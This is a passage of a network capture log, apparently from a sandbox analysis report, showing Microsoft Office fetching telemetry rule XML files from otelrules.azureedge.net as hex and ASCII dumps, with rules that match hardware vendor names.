2024-12-08 14:38:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: c060231a-801e-00ac-2403-48fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143827Z-r1cf579d7786c2tshC1EWRr1gc00000005600000000062pd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:27 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:27 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 7b99b195-101e-0017-7009-4847c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143827Z-r1cf579d778qlpkrhC1EWRpfc800000006900000000059mc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:28 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:27 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:27 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: e9e1dff1-101e-0065-7303-484088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143827Z-r1cf579d778w59f9hC1EWRze6w00000005y00000000021kd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:28 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:29 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:30 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 09188c3a-a01e-0021-2702-48814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143830Z-r1cf579d778qgtz2hC1EWRmgks00000005dg00000000568p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:30 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:29 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:30 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 90a12f2a-001e-0079-1603-4812e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143830Z-r1cf579d778t6txphC1EWRsd440000000630000000004egg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:30 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:29 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 75599bc5-d01e-008e-7c03-48387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143830Z-r1cf579d7789trgthC1EWRkkfc00000006800000000070g6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:29 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:30 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 90f2e2a0-001e-0014-5807-485151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143830Z-r1cf579d7784wpmvhC1EWRk4cn0000000500000000006q98 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:30 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:29 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:30 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 48f2d82f-b01e-0084-1302-48d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143830Z-r1cf579d7789trgthC1EWRkkfc000000069g000000004vby x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:30 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:32 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:32 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 1e88822f-901e-0029-0201-48274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143832Z-r1cf579d778mvsklhC1EWRkavg00000005vg000000004tss x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:32 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:32 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: e333ec31-201e-003f-1d06-486d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143832Z-r1cf579d778t6txphC1EWRsd440000000630000000004en6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:32 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:32 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 22946cbe-b01e-0021-6403-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143832Z-r1cf579d778t5c2lhC1EWRce3w000000066g000000007grv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:32 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:32 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:32 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: c11f8514-901e-0048-1305-48b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143832Z-r1cf579d778xq4f9hC1EWRx41g00000005d00000000068a0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:32 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
